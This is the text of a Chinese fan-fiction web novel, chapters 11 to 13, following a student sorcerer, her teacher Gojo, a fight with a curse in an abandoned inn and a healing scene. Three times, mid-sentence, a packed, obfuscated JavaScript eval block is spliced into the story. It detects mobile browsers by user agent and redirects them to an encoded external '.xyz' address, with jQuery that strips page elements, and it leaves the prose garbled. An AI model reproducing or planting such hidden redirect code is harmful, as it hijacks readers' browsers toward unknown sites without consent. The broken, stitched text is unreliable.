好吧，实话实说，她其实并不讨厌五条老师，真的不讨厌，他课上得很有意思，对学生也完全不摆任何架子，还帮她解除了剑的封印，请她喝奶茶。 但有时候，却就是因为他莫名轻浮的态度而觉得他特别不靠谱啊，所以当人老师就不能稍微看起来认真一点吗？ “我很认真啊。”五条悟一脸严肃，还举起了一根手指头，如果不是另一只手还举着奶茶大概真的有点认真的样子了，“我每次上课都把你当我人生中唯一的学生在教诶～你可是我这一届的唯一学生哦。” “……”纱绪里默默低头喝了一口茶，怎么说呢，和咒灵作战一小时都比听五条老师说话十分钟省脑子。他有时候真的就是在胡说八道，你也知道他在胡说八道，但又会被他的节奏带歪。 “算了，”她突然冒出一句，眼神跟着柔软了两分，“这样才是五条老师嘛。”不知道为什么，总觉得有点习惯了呢。 “嗯？”五条悟停下喝奶茶的动作，转过头来，绷带后的目光若有所无得罗在纱绪里的脸上。 “没什么。”纱绪里大大的喝了口奶茶，随即抬头对着五条悟露出带点调皮的笑容来，“老师没听清楚就算了，我可是不会说第二遍的。” 哪怕还蒙着眼睛，也不能掩盖五条悟脸上神色的鲜活，他装作有些不满，“诶？好过分，老师才请你喝了奶茶的耶。” 纱绪里抱着奶茶吭哧吭哧的笑了，两人靠在奶茶店门口喝完了奶茶，夕阳的余辉和街道上逐渐亮起来的灯光，将两道影子渲染出了温暖的色调。 喝完了奶茶，纱绪里伸了个懒腰，身上的肌肉还在隐隐作痛，但心情却意外地轻松起来，“五条老师，谢谢你。”五条老师推荐的奶茶店真的很不错呢，下次有空还可以来喝。 “所以，老师有没有很靠谱？”五条悟一如既往的毫不吝啬自夸，特别是在自己学生面前的时候，“是不是现在觉得老师超靠谱了。” “唔……与其说靠谱，不如说让人不知所措吧。”纱绪里觉得自己掌握了某种精髓，而且绝对不是出错。 五条悟轻笑着伸出手，在纱绪里额头上轻轻弹了一下，指尖带着点轻快的力道，“那就慢慢适应吧，星野同学～你在高专的读书的日子，才开始呢。” 纱绪里被弹得轻哼了声，抬手摸了摸并不痛的额头，笑意却在眼底泛开，“当时在神社第一次看到你的时候，我怎么也没想到，你会成为我的老师啊。”那个白毛蒙眼的怪人什么的，如今竟然真的成了她的老师。 五条悟想也不想的接了下去，“何其有幸，对吧？” 纱绪里看了格外有自信的五条悟一眼，忍不住抱着肚子哈哈大笑了起来，真是的，这什么老师啊。不过，也不坏，对吧？ 11. 第 11 章 虽然咒术高专的生活和纱绪里想的完全不一样，整个年级都只有她一个学生，但她其实不止一个老师。就像之前五条悟告诉她的一样，除了咒术的全部课程是由班导老师五条悟来上之外，她的文化课程是由高专的辅助监督和窗来教的。 第一次上课的时候纱绪里还很震惊，“伊地知先生，怎么是你来给我上课？” 戴着眼镜的消瘦男人推了推眼镜，“因为五条先生实在太忙了，所以文化课的部分就由我和其他辅助监督轮流负责，如果我们都没空的话，就由窗来上课。” 纱绪里想了想，又左右望了望，确定没看到某个白发不靠谱老师之后，就压低了声音询问道，“伊地知先生，五条老师该不会是不会上文化课吧？他看起来上学的时候就像那种不怎么喜欢上课的不良少年。” 伊地知怔了下，“五条先生上学的时候……”他话刚说了一半，手机铃声便突然响了起来，他摸出手机看了眼来电提醒，几乎是下意识的变换了姿势，绷紧了肩膀才接起电话。 “五条先生……是，我正要给星野同学上课……不，我当然没有，我没有说过关于您的坏话……您当然是……是的是的，我知道了……五条先生，这件事按规定是不可以的……任务的话……我知道了，我会想想办法的……我知道了……” 电话挂断之后，伊地知和纱绪里面面相觑，纱绪里嘴角抽了抽，“五条老师……该不会有什么奇怪的能力吧，比如别人在背后说他坏话的话眼睛会跳这种。” 伊地知莫名的迟疑了下还是道，“我想，五条先生应该没有那种奇怪的能力……吧。” 那为什么你会用这么不敢肯定的语气，真是辛苦了啊，伊地知先生！纱绪里望了望天，“伊地知先生也是高专毕业的吧，我听说五条老师也是，作为他的学长，真是辛苦了呢。” 伊地知似是有些惊讶，“虽然不知道为什么星野同学你会有这样的想法，但事实上，五条先生是我的学长，还大我两届。” “诶？！”纱绪里不敢置信的瞪大了眼睛，在看清楚伊地知没有开玩笑的表情后，脸上的神色通通化为了同情，“您辛苦了，伊地知先生！”可怜的伊地知先生，明明比五条老师还小，现在看起来却比五条老师成熟这么多，再结合一下刚才的电话，怎么都有种被折磨惨了的感觉啊。 为什么突然就改用敬语了，星野同学是自己脑补了什么奇怪的剧情吗？其实偶尔也有那么点喜欢吐槽的伊地知面对来自学生的同情，总觉得有点无力，“……不，其实还好。” 纱绪里立刻挂上‘你什么都不用说了，我知道’的神色，“伊地知先生，我们还是开始上课吧。”伊地知先生真的好辛苦啊，她还是不要为难对方了吧。 伊地知沉默了几秒钟，才无奈的叹了口气，“那么星野同学，我们就开始上课吧。” 咒术高专的文化课并不难，作为实际上已经高中毕业的人，纱绪里很轻松就能完成那些作业。对，哪怕是咒术（重音）高专，一样是要做作业的。 其他时间，她也就属于被放羊吃草的状态了，在没有课上的时候，她一个人住一个宿舍，一个人用一个教室，一个人用一个操场一个练习场。 偶尔真的觉得有点无聊，好在这种无聊并没有持续多久，她好歹还是有个班导老师的，而那个仍旧是那副不靠谱形象的老师在这次回学校又离开之前，笑眯眯的告诉她。 “老师太受欢迎了，事务太多，不可能时时刻刻盯着你哦～不过放心，我安排了‘课后任务’，老师回来的时候，是要检查作业的哦。” 五条悟留下的‘课后任务’里，是几只从夜蛾校长那边借来的咒骸，会追着纱绪里狠揍的那种。 纱绪里觉得，那个吊儿郎当的老师虽然不太靠谱，但说要检查作业的时候，大概率是真的。所以她只能提起精神，天天和那些咒骸对练。 “我真的觉得我是有点倒霉的，哪有自己给咒骸灌输咒力，然后让咒骸来打自己的啊，我又不是受虐狂。”当然，念叨是这么念叨，作业还是要做的。所以纱绪里还是认命的给几个咒骸轮流输入了咒力，将咒骸激活。紧接着，她就在躲闪其他咒骸的时候，被一只咒骸直接踢出了一米远，摔在地上浑身痛得要命。 而大概也就是因为这种真心实意的疼痛，纱绪里在和咒骸的练习中进步飞快。 最开始她学会了尽力躲避，再后来她尝试着观察咒骸的动作，接着她开始反击，再之后，她将自己的咒力在实战中和反击的动作结合起来。 因为很简单的想着不挨揍，毕竟咒骸可不会手下留情，是真的很痛。所以纱绪里算得上是进步神速，当然反正现在也没有人管她，所以这个进步神速是她自己给自己下的定义。 而等纱绪里再见到五条悟的时候，已经是好几天后了。 这天，上午的文化课结束之后，纱绪里正打算去食堂吃饭，结果刚走到教学楼门口，就听见背后一个再熟悉不过的声音，还带着种特有的欢快味道，“星野同学，看起来挺有精神的嘛～” 她下意识回头，然后语气毫无起伏地回应，“……您哪位？” 五条悟笑得开心，双手插着裤袋，一身咒术高专制服倒是穿得整整齐齐，白色的头发在日光下几乎发亮，白色绷带仍旧遮着眼睛，却怎么也遮不住那种‘我今天心情不错’的悠闲气场。 听到纱绪里的话就开始胡说八道，“我难道不是纱绪里最重要的五条老师吗？才这么短的时间纱绪里就认不出老师了吗，你是十几岁，不要学有些老年人，记性差得可以丢进水沟。” “对不起，我以为五条老师已经辞职了。”纱绪里声音清脆又干脆，“毕竟我都快忘了你长什么样了。”这么久没见自家老师，她都没有人管，她才没有（重音）生气呢，毕竟她从来脾气都挺好的。 至于五条老师，那是谁？哼！ “放心放心，老师是不会忘记纱绪里的，毕竟我可是高专最负责任的老师。”五条悟笑出一口大白牙。 纱绪里忍不住翻了个白眼，反正自家这个老师从来都不太听别人说什么，一直都会只按照自己的思路来说话，真要计较得把自己气死。 五条悟无视了纱绪里翻白眼的动作，“现在正好，我回来检查‘课后任务’的成果哦。” 纱绪里听得眉头跳了跳，立刻就有不太好的感觉涌上来，“怎么检查？” 五条悟笑容闪亮，“实战。”他得意的摸了摸下巴，“这可是老师精挑细选的任务哦。” 纱绪里本能地退了半步，“又是去祓除咒灵？”她真的还是个小小的，不能独立出任务的三级咒术师啊，又要单独去面对咒灵？而且听五条老师的语气，还不是那种实践课可以轻松搞定的。 “你不觉得上完课就考试，是非常合理的流程吗？”五条悟边说边走，“来吧来吧，别磨蹭。”纱绪里还试图挣扎一下，虽然大概率是没用，但还是想要挣扎啊，“等一下我连午饭都没吃……” 接着就直接被五条悟拎走了，“那路上去吃个蛋糕怎么样？我知道最近便利店推出了新口味还不错哦。” 纱绪里想也不想的拒绝，“不要，这么甜腻的东西我怕等会儿打咒灵的时候我会直接吐出来！” 所谓五条老师精挑细选的任务，是城中一栋看起来已经废弃的旅馆，在没来过这里之前，纱绪里都觉得有点想不到东京城市里还有这种地方。 纱绪里盯着那栋看起来就像会白天也闹鬼的旅馆，犹豫了好几秒还是回过头，“五条老师，我问一下，里面那只咒灵，大概是几级？” 五条悟答得特别的轻松，“当然是不到二级咒灵的三级咒灵啦。” “三级咒灵吗，”纱绪里想着点了点头，“那应该可以吧。”她现在是三级咒术师，根据咒术界的评定标准，咒术师通常在能力上能压过同级别咒灵。三级术师对上三级咒灵，理论上，是打得赢的。 可那只是‘理论’，在实际操作上，哪怕同一个级别的咒灵，也会有强弱之分。如果是普通的三级，她当然能对付，但总觉得五条老师特意带她来检验实战的话，不会这么简单…… 五条悟见状就是笑了，就像里面不是什么咒灵而是能随便踩死的蚂蚁般，“放心啦，很弱的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480618|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他站在废弃大楼的门口，风一吹，白发轻轻飘了飘，手仍插在裤兜里，一副轻松到不像是在布置战斗任务的样子，“我说真的，它很弱，就那种稍微动动脑子就能砍爆的程度。”说着还比划了个很夸张的它很弱的手势。 纱绪里有种忍不住要满头黑线的感觉，“老师，你的‘很弱’是我的‘请叫救护车’级别。”他也不看看自己一个特级咒术师，怎么能类比嘛，而且她现在知道了，自家老师口里的最强，不是自夸不是随口胡说，而是真正的咒术界最强咒术师。 五条悟像是很高兴的扭动了下，“哎呀哎呀，你总这么夸奖老师，说得我都要害羞了～” 纱绪里深吸一口气，“万一我真应付不来呢？”如果真的打不赢的话，五条老师会来救她吧？ 五条悟这次没马上接话，只是低头沉默了一瞬，然后用最平静的语气说出一句话，“会死哦。”声音不高，却像是在空荡荡的空间里，猛地敲了一下什么。 纱绪里怔在原地，没来得及反应，五条悟继续用着种轻描淡写的态度说了下去，“早就说过了啊，咒术不是那么容易学的，想要变强的话，就要做好如果不够强可能会死的准备。” 他并没有特意压低声音，轻飘飘的话却有种格外冷凝的感觉，隔着白色的绷带看不清他的表情，纱绪里抬头也只看到白发术师格外优秀的下颌弧度。 “不是每次，都恰好会有人来救你。”他没继续讲，也没解释太多，仿佛这句话已经足够。 “五条老师……”纱绪里怔怔的看着好像有点陌生起来的五条悟。 “所以，”五条悟低下头来，虽然看不到他的眼睛，但纱绪里却仿佛能从他的动作中读出某种期待，“全力以赴吧，纱绪里。” 纱绪里握紧了剑柄，片刻之后重重的点下头去，“我知道了。”她转身，毫不犹豫的向着旅馆门口走去。 然而并没有什么到位的渲染气氛，下一刻某无良老师轻快的话语已经从背后传了过来，“加油哦，星野同学～好好祓除完咒灵有奖励哦。” 纱绪里忍不住笑了出来，她没有回头，只略微顿了下脚步，就继续朝着旅馆走了过去，“那我就等着老师的奖励了。” 和其他有咒灵的地方类似，走进废弃旅馆之后，就像是进入了另一个世界。灰尘悬浮在空中，阳光从破裂的窗纸和门缝间渗进来，像破碎的线落在腐朽的榻榻米上。地板发软，墙壁发潮，一种类似霉菌与血腥味混杂的气味钻进鼻腔。 纱绪里站在玄关处，仔细侧耳倾听。然而这里寂静一片，除了自己缓慢的呼吸，听不见任何声音。 “比我想象的还要冷清。”她握紧手里的星辰剑，开始一点点向里摸索。她早就不再是那个第一次见咒灵就吓到腿软的‘普通人’了。五条悟虽然总是看起来像个不靠谱的老师，但该教她的东西还是有好好的在教。前几次的课外实践虽然紧张，但她靠着冷静和判断力都挺了过来。 所以现在纱绪里没有慌，甚至在逼近旅馆深处的时候，主动放慢了脚步。 这只咒灵……不急着出现。这意味着对方不是依靠单纯的‘本能’，它知道‘等待’‘潜伏’与‘地形利用’，意味着它在某种程度上，有更强的意识。 她靠近了一个破败的前台时，突然间，后方传来‘啪’的一声。纱绪里猛地回头，一只手从墙壁里慢慢地浮现出来。它几乎是无声无息地融入了空间，像是空气本身长出了肢体。 咒灵终于显形——那是一团被黑雾包裹的人形，有着极长的手臂，身体极度扭曲，胸口处有一个不停张合的巨大‘口器’，像是呼吸般喷吐出丝丝红黑色雾气。 纱绪里蹙眉，迅速跳离前台，落地后立刻将咒力灌入剑中，一记平斩逼退咒灵。 咒灵动作缓慢却带着黏滞感，它几乎不像是‘行走’而是‘滑动’，一路在榻榻米上拖出腐蚀的痕迹，碰触过的物体都迅速变形、溃烂。 看到那些腐烂的痕迹，纱绪里更是提起了精神，自从第一次粗心大意之后，她每次面对咒灵都格外的小心，不管怎么说，她至少不能死在自己的大意上。 12. 第 12 章 经过这段时间和咒骸的练习，纱绪里的战斗总算比最开始有章法得多了，至少在看到咒灵出现之后，她第一个反应不是像抡起大刀那样举起星辰剑一阵乱劈乱砍，消耗体力不说，也浪费自己的咒力。而是学会了观察和试探，寻找咒灵攻击的间隙出剑。 和这只咒灵的交手就是如此，咒灵的动作虽然怪异，但不迅速。纱绪里努力保持着咒力输出的平稳，不和咒灵直接硬碰，而是靠着自己的速度在周围游走试探，在保持安全距离的同时也能造成些许伤口。渐渐地，咒灵身上的伤口开始增多，纱绪里也多了些取胜的信心。 但就在她觉得自己可以靠着速度和星辰剑的锋利慢慢压制咒灵时，那咒灵忽然停下，抬起了那只极长的右臂。纱绪里没有看到右臂挥下的动作，然而下一秒，一道几乎看不见的红线，从空气中划过，直逼纱绪里而来。她大惊之下连忙侧面闪开，但到底还是晚了一步，被红线斜斜划过左肩，手臂上的制服瞬间裂开，鲜血汩汩渗出。 电光火石之下，纱绪里几乎立刻滚向一侧，才躲开后续的第二道攻击。那是肉眼可见的实质攻击，而是一种极细微的、像是将空气割裂一般的技能，咒灵竟能用咒力切割空气？ 纱绪里冷汗从后背瞬间冒出，如果咒灵仅仅是拥有腐蚀技能的话都还好说，它的机动性很低，只要不让它近身就不会造成严重伤害，但如果再加上远程的割裂技能呢？那不是远近皆能，危险性大幅上升，怎么看都不像是普通的三级咒灵，甚至不是接近二级的三级。 “可恶，五条老师不是说什么随便就能砍爆吗？是它爆我？还是我爆它？”纱绪里强压下伤口带来的剧痛，反手格挡一记突袭，斜斜滑出一段距离，咬牙喘气。 咒灵没有急着追击，而是像在玩弄猎物一样慢慢靠近。纱绪里深吸了口气，这是她打过最难缠的一只咒灵，但她一定能找到突破口的！不能慌，越是情况危险，她就越是不能慌！ 就在纱绪里惊讶于咒灵隐藏的能力时，远在旅馆外的五条悟靠着围栏站着，面无表情地望着前方，仿佛什么也没看、什么也没听。可六眼之下，透过咒力的流动，纱绪里战斗的每一瞬波动、每一丝变化，他都看得清清楚楚。 ‘看着’咒灵出乎意料的攻击模式，白发的术师只是轻轻一挑眉，“还挺会藏的嘛，原来还有这招。” “能力比当初评估的稍微高了一点，”五条悟自言自语道，比起平日和纱绪里说话的时候，语气甚至称得上没什么起伏，“之前说那些话原本只是为了吓一吓纱绪里，希望她拿出干劲来，她的天赋是近年来我见过最好的，但平时实在是太漫不经心了。” 他说着却是轻笑出声，连肩膀都跟着抖了两下，“没想到区区一个三级……嗯，应该是二级咒灵竟然真的隐藏着惊喜。啊啊，突然使出这招，纱绪里会吓坏的吧。” 虽然这么说着，但五条悟没有动，也没有要动的意思，只是嘴角弯了弯，就好像对着某个还在努力的人轻声说道，“这样的话，不全力以赴的话，是真的不行的哦，纱绪里酱。” 而在旅馆之内，战斗的氛围越发浓烈，几轮试探之后，咒灵似乎也摸透了纱绪里的深浅，不再隐藏之后，下一次攻击来得极快。 空气像是突然被斩断，一道几乎看不见的咒力从斜上方划下，比之前的任何一次都来得更凌厉和快速，似乎刚才的打斗，让咒灵也有些不耐烦了。这样骤然加快的攻击下，纱绪里闪得慢了半拍，半脸脸上和肩上被炸开大道的口子，鲜血喷涌而出，整个人也重重摔进破碎的纸门里，撞翻一排早已朽坏的木柜。 她呛出一口血，视线模糊，耳朵嗡嗡作响，骨头像是散了架。挣扎着从碎木堆里翻身，纱绪里下意识抬手碰了碰她的脸，痛得钻心。 “可恶！”瞬间明白了什么的纱绪里怒火冲天，“竟然打女人最重要的脸！”这么深的伤口，以现在的医学技术，就算好好缝合之后也会留下伤疤的，哪怕多做几次修复手术可能也很难完全恢复如初。她这辈子难得的长得还不错，现在竟然被一只丑陋的咒灵毁、容、了！ 咒灵在逼近，每一步都拖着腐蚀的痕迹，像是踏着某种倒数，又或者给与猎物最后的仁慈，看起来已经胜券在握。 纱绪里用剑努力撑起身体，她盯着咒灵的目光燃烧着熊熊怒火，烧到极致反而有了种冷，“我要你给我的脸陪葬！！”果然，必须要像五条老师说的那样全力以赴啊！（五条悟：……？？？？） 咒灵张开嘴的同时再次举起了右臂，那种撕裂空气的红线再次逼来，像是腐烂的恶念化作实体扑向纱绪里的生命。 而就在那一刻，纱绪里的身体动了。她不知道自己是怎么起来的，下一瞬，她只微微向旁一闪，就已经躲过咒灵快若闪电的攻击。接下来，她脚步在地上重重地一顿，整个人在残破的榻榻米上划出一道利落的弧线，快得连咒灵都未完全反应过来。 咒灵似乎也察觉到了变化，发出低沉的咆哮，两道红线几乎是不分向后的再次出现，向着纱绪里狠狠地划了过来。但纱绪里的动作比以往任何一次都快，脚步急闪之间，几乎是不不可思议的从红线之间的间隙闪过，咒灵的攻击落到她身后的墙壁上，留下深深的划痕，碎屑四溅。 咒灵的攻击更快更急，然而纱绪里仍旧显得游刃有余。她穿梭在咒灵周围，踏着破碎的地板与墙壁残影，眼睛像是被什么东西点燃了一样，动作快得几乎只剩残影。 是她的生得术式，在这一刻，终于伴随着咒力和情绪的沸腾翻涌而觉醒了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480619|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 【生得术式：时之砂】：一种极短时间内将作用于自身的时间压缩，以提高自身的反应速度的术式，副作用是术式结束后的肌肉撕裂与神经负担。 纱绪里尚未完全理解它的原理，她只是本能地，在想要尽全力反击的那一瞬，将咒力注入全身，调动了一种她此前从未有过的使用方式。世界慢了半拍，她的动作却快了三分，就仿佛在跃起的瞬间，连时间也为之停滞。 “哈啊——！！”她低吼着冲刺，避开咒灵的腐蚀、切割、扭曲肢体的攻击，借助‘生得术式’的短暂加速，逼近咒灵之后连续砍出三剑。咒力拥入星辰剑中，本就锋利无匹的神剑被再次赋予崭新的锋芒，划过空气的弧线美得就仿佛星星陨落的轨道，带着冰冷凌厉的杀机。 第一剑，她斩裂咒灵能够切割空气的手臂；第二剑，她劈开它胸口吞云吐雾的‘口器’；第三剑，她直接重重地一剑刺入，贯穿了它的头颅。 咒灵发出嘶哑尖啸，在空中扭曲挣扎，最终化作黑雾崩散在空气中。 失去支撑的力道，纱绪里脚一软跪倒在地，生得术式一结束，副作用就像潮水般袭来。因为刚才疯狂地加速，她的腿部肌肉神经剧烈抽搐，带来的疼痛甚至远超之前的伤口，几乎在瞬间要撕裂她的意识。 纱绪里喘息着，倒在了那堆染血的碎榻榻米上，强忍着最难受的那振疼痛感过去后，她才手脚放松的大字型摊开，嘴角微微勾了起来。她记得五条老师曾说过，生得术式对于咒术师的重要性，之前她还担心自己也没有生得术式的，好在现在生得术式终于觉醒了。 然而这样的放松也只有瞬间，下一刻她想起自己已经毁容的脸，嘴边又重新撇了下来，啊啊，讨厌的咒灵！ 于是等五条悟手插回裤兜，皮鞋踏在染血的榻榻米上却没有留下丝毫的痕迹走进旅馆，看到的就是躺倒在地上的纱绪里，一副生无可恋的架势。 在看到五条悟进来之后，她嘴角抽了抽，然后就仿佛终于找到了观众的演员那样开始假哭，真的只是完全的干嚎，半点眼泪都没有的那种，“五条老师，我，我，我毁容了，都怪那只该死的咒灵……呜呜，做咒术师真的好难……不但要面临生命的危险，还要面临毁容的危险……” 五条悟怔了下，随即哈哈大笑，他朝着躺在地上的纱绪里俯下身，一下就占据了她全部的视线，“放心吧，不会毁容的，现在就带你去找硝子，你还没去过高专的医务室吧，高专有咒术界最好的治疗师哦，等治疗过后，我保证一点伤痕都不会留下。” 还在假装哽咽的纱绪里愣住了，“等等，你说的是，用反转术式进行治疗？”她刚才是被咒灵打傻了吗，竟然忘记咒术界还有这种作弊神器了啊。害！白瞎她那顿假哭了嘛！ 13.第 13 章 两人从更加残破的旅馆出来的时候，外头的帐早已消散，碧蓝的天空清朗无比，几朵白云悠悠漂浮，阳光洒下，仿佛这里从未发生过任何阴暗的战斗。 五条悟抱着纱绪里慢慢走向还有些距离开不过来的车，步伐稳健而从容，他的眼睛仍旧被白色绷带遮住，只露出高挺的鼻梁和嘴角若有若无的笑意，阳光打在他银白的发丝上，亮得刺眼。 “说起来，”五条悟低下头，唇角带着点笑意，声音里不多不少的带着点轻快，“你的生得术式，刚才觉醒了吧？” “老师你知道了啊，没错，就在刚才对战咒灵的时候突然觉醒了。”纱绪里已经开始习惯五条悟有时候的无所不知了，之前每次实践课都是，他从来没跟着她进去打怪过，但她的表现他都一清二楚，也不知道到底是怎么看到的。 五条悟仍旧微微低着头，绷带后的视线似乎在打量纱绪里，片刻之后点点头，“你这个年龄早就该觉醒术式，我还一直觉得奇怪，以你的咒力量不应该没有生得术式。” 纱绪里想要点头又牵动了脸上的伤口，嘶了声之后不敢乱动了，“有的有的，之前可能是因为没觉得自己能有超能力嘛，现在既然知道了自然就觉醒了。”反正她是这么认为的，至于对不对……反正她认为对就行了嘛，又不重要。 她整理了下思路，“我的生得术式叫时之砂。”这是术式觉醒之后她自然而然就知道的事，“看起来像是在瞬间提高了自身的速度和反应力，其实是将术式作用在自身，压缩了时间，所以看起来才像是快了。具体的使用方式和限制我还不是特别清楚，还需要再研究看看。” “时间型的生得术式吗？”五条悟脚步未停，嘴角扬起的弧度却更高了些，“只能作用于自身，还是能作用于他人？” 纱绪里想了想，“现在只能作用于自身，如果咒力量够的话，也可以作用于他人。”五条悟点了点头，再开口的时候就多了点笃定，“听起来似乎不错，要好好锻炼哦。” “听起来是不错，但副作用也很明显。”纱绪里咬牙，“感觉术式一结束，全身的肌肉和神经就好像要撕裂一样。” “还不熟练的关系，”五条悟的话淡淡的，却显然经验丰富，“虽然生得术式是生来就刻印在咒术师体内的，但要熟练掌握和运用，还是需要大量的练习。所以接下来，要好好练习你的生得术式，先来定个目标吧，有了目标才有努力的方向，比如……” 五条悟的话还是一如既往的滔滔不绝，纱绪里却没有吐槽，而是想了想之后，认真的看向五条悟，“我会努力的。” 五条悟的声音戛然而止，他缓缓的转过头，绷带后的目光安静的落在纱绪里身上，片刻之后就是笑出声来，语气轻松又带着点调侃，“哎呀，这么努力吗？不像你耶，纱绪里酱。” “那不是因为……”纱绪里忍不住磨了磨牙，语气里自然而然带上点火气，“差点被只咒灵毁容吗？虽然你说反转术式能治好，万一伤到不能治疗的程度呢？竟然被咒灵这么欺负，我实在是气不过啊！” 五条悟唇角轻轻上扬，笑声在阳光下散开，“不错不错，很有动力哦，老师也很欣慰呢，别再变回之前的样子了。” “我以前什么样子？”纱绪里也有些好奇，她在自家老师心目中到底是什么样的啊。 五条悟偏了偏头，假装认真思考了下，阳光在他肩头投下淡淡的光晕，“纱绪里啊，很像种动物，是叫……”就像攒着劲努力想着的夸张，半晌卖足了关子才吐出一个单词来，“卡皮巴拉。” 纱绪里一时间没反应过来，“哈？”她像……卡皮巴拉？那种头顶着橘子，神态慵懒又笨萌，一副活着很好，死了也行的卡皮巴拉？ “没错，卡皮巴拉。”五条悟的笑声愉快，一副‘我超级会形容’的得意感觉，“是不是觉得超像的？” 纱绪里嘴角抽了两下，忍不住就提高了声音，“才不像好不好，卡皮巴拉是被人欺负到头上都不知道还手耶，情绪超稳定的，我脾气可没它好。”而且卡皮巴拉也不喜欢吐槽啊，她这可是祖传技能！ “不像吗？”五条悟沉吟了下，又重笑得轻轻松松的开口了，阳光将他的白发映得格外耀眼，“可是老师觉得很像啊，有种安安稳稳，按部就班的感觉。” 纱绪里吃了瘪，“……”可恶，这么说的话竟然觉得五条老师说得好像有点道理，但是还是有种想要揍他的冲动，而且应该不是错觉。难道真的没人说过他说话特别欠揍吗，肯定有的吧！ 五条悟走到车边，把纱绪里轻轻放进后座，自己也坐上副驾驶。等伊地知启动引擎后，他才似乎是从后视镜里看了眼后座的学生，“不过说真的，要当咒术师啊，不能老想着按部就班地成长，有些危险，根本提前不会通知你。如果不从平时做好准备的话，真的会死哦，说不定连尸体都会被吃掉。” “五条……五条先生，星野同学还伤得挺重，说这样的话会不会太……”伊地知被五条悟直白的话吓了一跳。 五条悟大模大样的继续道，“我说的难道不是实话嘛，因为这样死掉的咒术师你又不是没见过，咒灵难道还会等你做好准备，想也知道不可能吧。” 伊地知还试图挣扎，“可是就算是这样也有点太过了。”纱绪里在两人的对话中努力给了伊地知感激的一眼，然后侧头看向窗外的景色，微微抿了抿唇…… 回到高专后，五条悟果然一路把纱绪里带去了她从未去过的高专医务室。 医务室门被推开时，里面灯光昏黄，窗子半开，一个穿着白大褂、背对门口的女人坐在办公桌前，还在顺手翻着厚厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482606|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的文件夹。 “硝子，我带人来了。”五条悟扬声道，显然和医务室里的人极为熟稔的。 那人转过头来，纱绪里看到了一张冷淡漂亮的脸，搭配着长发和显然熬夜过度的眼神。她像是刚从手术台下来又被硬拉回来继续加班的医生，但……又不太像。 “今年的新生？伤得不轻啊。”家入硝子扫了纱绪里一眼，“先把她放下吧。” “对，今年的一年级新生，星野纱绪里。”五条悟将纱绪里放到治疗床上，不等纱绪里开口问什么，就见那位很漂亮的‘医生’，抬起手，五指微张，掌心流出带光的咒力。 那股能量并不是纱绪里熟悉的负面情绪带来的咒力。它温热、安定，甚至带着一种让人心口发软的温柔。 能量顺着家入硝子掌心的引导，轻轻流淌过纱绪里的脸颊、肩膀、肋骨和手臂的裂口。原本血迹斑斑的地方，像是被一层无形的清泉冲刷，血液逐渐凝止，伤口缓缓闭合，皮肤在她眼前恢复光滑，骨头深处则传来一阵酥麻而灼热的重组感，像被细针密密扎过，却奇异地令人安心。 纱绪里屏住了呼吸，瞪大了眼睛目不转睛的看着这一切，几乎连眼睛都舍不得眨，连疼痛都被抛到脑后。她第一次切身感受到反转术式的正能量，竟然能达到这种近乎神迹般的治疗效果。 家入硝子低垂着眼睫，神色一贯平静，仿佛做的不是救命的奇迹，而只是最普通不过的日常工作。指尖移动间，泛着微光的咒力顺滑地渗透进伤口，她的神态淡漠，却专注得几乎冷酷。 像是察觉到纱绪里的目光，她淡淡开口，语气干净清冽得没有起伏，“第一次看反转术式？” 纱绪里愣了愣，声音比方才放轻了许多，“嗯，第一次看到，之前只听五条老师提过，可是没有亲眼看到，真的有点没法想象。” 家入硝子没抬头，只是目光扫了她一眼，继续维持着手上的动作，她的声音与咒力的流动一样稳定，“现在看到了？” “看到了，”纱绪里不自觉咽了口气，眼里透着抑制不住的惊叹，话音里自然而然带上崇拜的语气，“好厉害啊……” 硝子的嘴角轻轻勾起一抹若有若无的弧度，似笑非笑，随即很自然地顺着她的话接了下去，“我当然很厉害。”语气淡得近乎懒散，可却带着种不容置疑的自信，在自己专业领域里的自信。 纱绪里听得眼睛一弯，呼吸间掺着笑意，然而不等她说什么，家入硝子已经收回手，动作利落，像是结束了一项操作般，吐出一句平平淡淡的话，“所以，你也要变厉害，不然下次再回来，可能就不是我能救得回来的了。” 纱绪里怔了怔，她下意识伸手摸了摸自己原本破裂的脸颊，指尖触碰到的是完好无损的肌肤，她两眼放光，“好、好帅啊，家入小姐！”